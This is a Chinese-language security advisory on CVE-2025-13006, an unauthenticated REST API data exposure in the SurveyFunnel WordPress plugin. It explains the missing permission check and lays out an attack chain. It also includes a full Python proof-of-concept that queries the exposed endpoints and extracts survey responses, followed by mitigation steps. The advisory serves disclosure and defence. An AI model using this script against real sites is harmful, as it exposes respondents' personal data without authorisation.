IPBUF安全漏洞报告
English
CVE-2025-13006 CVSS 5.3 中危

CVE-2025-13006: WordPress SurveyFunnel插件REST API未授权敏感信息泄露漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-13006
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SurveyFunnel – Survey Plugin for WordPress

相关标签

敏感信息泄露未授权访问REST APIWordPress插件SurveyFunnelCVE-2025-13006信息泄露权限绕过

漏洞概述

CVE-2025-13006是WordPress平台SurveyFunnel调查插件中的一个严重安全漏洞。该插件用于在WordPress网站上创建和管理在线调查表单。在1.1.5及之前的所有版本中,插件的REST API端点存在严重的访问控制缺陷。具体而言,/wp-json/surveyfunnel/v2/路径下的多个API端点缺乏适当的身份验证和授权检查,导致任何未经认证的互联网用户都可以直接访问这些端点并获取其中存储的敏感数据。攻击者无需任何特殊权限或用户交互,仅需发送HTTP请求即可提取调查响应中包含的敏感信息,包括但不限于用户提交的答案、个人数据、联系方式等。该漏洞的CVSS评分为5.3(中等严重程度),攻击向量为网络层面,利用复杂度低,且无需认证即可实施攻击。虽然机密性影响被评估为低,但调查响应中可能包含的个人隐私信息仍可能导致严重的隐私泄露风险。此漏洞由Wordfence安全团队的安全研究人员发现并报告。

技术细节

SurveyFunnel插件在WordPress中注册了REST API路由,通过/wp-json/surveyfunnel/v2/路径提供调查数据的查询和管理功能。问题在于这些API端点缺少WordPress的权限检查回调函数(permission_callback),导致WordPress不会验证请求者是否具有访问这些端点的合法权限。在正常的WordPress REST API开发中,开发者应该使用register_rest_route()方法注册路由时提供一个permission_callback参数,该回调函数用于验证当前用户是否有权访问特定端点。然而,SurveyFunnel插件的开发者在注册多个v2版本的API端点时遗漏了这一关键的安全检查。攻击者可以通过以下方式利用此漏洞:首先,使用OPTIONS请求探测API端点以获取可用路由列表;然后,直接向存在漏洞的端点发送GET请求,如GET /wp-json/surveyfunnel/v2/surveys/或GET /wp-json/surveyfunnel/v2/responses/;最后,服务器会返回完整的调查数据或响应内容,无需任何身份验证。由于这些API端点直接连接到底层数据库查询,攻击者还可以通过构造特定的查询参数来筛选和提取特定范围的数据,进一步扩大信息泄露的范围。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先探测目标WordPress网站,识别是否安装了SurveyFunnel插件。可以通过访问/wp-json/端点或检查页面源码来确认插件的存在。
STEP 2
步骤2:端点枚举
攻击者向/wp-json/surveyfunnel/v2/路径发送OPTIONS请求,获取该命名空间下所有可用的REST API路由列表,包括surveys、responses、questions、answers等端点。
STEP 3
步骤3:未授权访问
由于API端点缺少permission_callback权限检查,攻击者可以直接发送GET请求访问任意端点,无需提供任何认证凭据(如登录cookie或API密钥)。
STEP 4
步骤4:数据提取
攻击者遍历各个端点,提取敏感数据。例如访问/surveys/端点获取所有调查问卷列表,访问/responses/端点获取用户提交的所有响应数据,包括个人信息和答案内容。
STEP 5
步骤5:数据筛选与利用
攻击者可能通过构造查询参数(如survey_id、page、per_page等)筛选特定范围的数据,或使用自动化脚本批量导出所有敏感信息,用于进一步攻击或出售。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13006 PoC - Unauthenticated Sensitive Information Disclosure # Target: SurveyFunnel WordPress Plugin < 1.1.6 def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-13006 """ base_url = target_url.rstrip('/') # List of vulnerable API endpoints endpoints = [ '/wp-json/surveyfunnel/v2/surveys/', '/wp-json/surveyfunnel/v2/surveys/1', '/wp-json/surveyfunnel/v2/responses/', '/wp-json/surveyfunnel/v2/responses/1', '/wp-json/surveyfunnel/v2/questions/', '/wp-json/surveyfunnel/v2/answers/' ] print(f"[*] Testing target: {base_url}") print(f"[*] CVE-2025-13006 - SurveyFunnel Unauthenticated Info Disclosure\n") vulnerable = False for endpoint in endpoints: url = base_url + endpoint print(f"[+] Testing endpoint: {endpoint}") try: # Send unauthenticated GET request response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() if data: print(f" [!] VULNERABLE - Endpoint returned data without authentication") print(f" [+] Response sample: {json.dumps(data[:2] if isinstance(data, list) else data, indent=2)[:500]}...") vulnerable = True except json.JSONDecodeError: print(f" [*] Endpoint exists but returned non-JSON data") elif response.status_code == 401: print(f" [-] Protected - Authentication required") elif response.status_code == 404: print(f" [-] Not found") else: print(f" [*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f" [!] Request error: {e}") if vulnerable: print(f"\n[!] Target is VULNERABLE to CVE-2025-13006") print("[*] Recommendation: Upgrade SurveyFunnel plugin to version 1.1.6 or later") else: print(f"\n[*] Target may not be vulnerable or SurveyFunnel plugin is not installed") return vulnerable def extract_all_data(target_url): """ Extract all available survey data from vulnerable endpoints """ base_url = target_url.rstrip('/') print(f"\n[*] Extracting data from vulnerable endpoints...") # Endpoint to list all surveys surveys_url = base_url + '/wp-json/surveyfunnel/v2/surveys/' try: response = requests.get(surveys_url, timeout=10, verify=False) if response.status_code == 200: surveys = response.json() print(f"[+] Found {len(surveys)} surveys") for survey in surveys: survey_id = survey.get('id') print(f"\n[*] Survey ID: {survey_id}") print(f" Title: {survey.get('title', 'N/A')}") # Get responses for this survey responses_url = f"{base_url}/wp-json/surveyfunnel/v2/responses/?survey_id={survey_id}" resp_response = requests.get(responses_url, timeout=10, verify=False) if resp_response.status_code == 200: responses = resp_response.json() print(f" Responses count: {len(responses)}") except Exception as e: print(f"[!] Error extracting data: {e}") if __name__ == '__main__': import sys if len(sys.argv) < 2: print("Usage: python cve-2025-13006-poc.py <target_url>") print("Example: python cve-2025-13006-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

影响范围

SurveyFunnel Plugin for WordPress <= 1.1.5

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1)使用Web应用防火墙限制对/wp-json/surveyfunnel/v2/路径的访问,仅允许受信任的IP地址访问;2)暂时禁用或删除SurveyFunnel插件,直至完成升级;3)使用WordPress的rest_authentication_errors钩子强制要求REST API请求进行身份验证;4)通过.htaccess或nginx配置阻止外部用户访问/wp-json/路径下的敏感端点;5)监控服务器日志,关注对surveyfunnel REST API端点的异常访问模式。同时建议检查已泄露的数据是否包含个人隐私信息,并根据当地法律法规履行数据泄露通知义务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表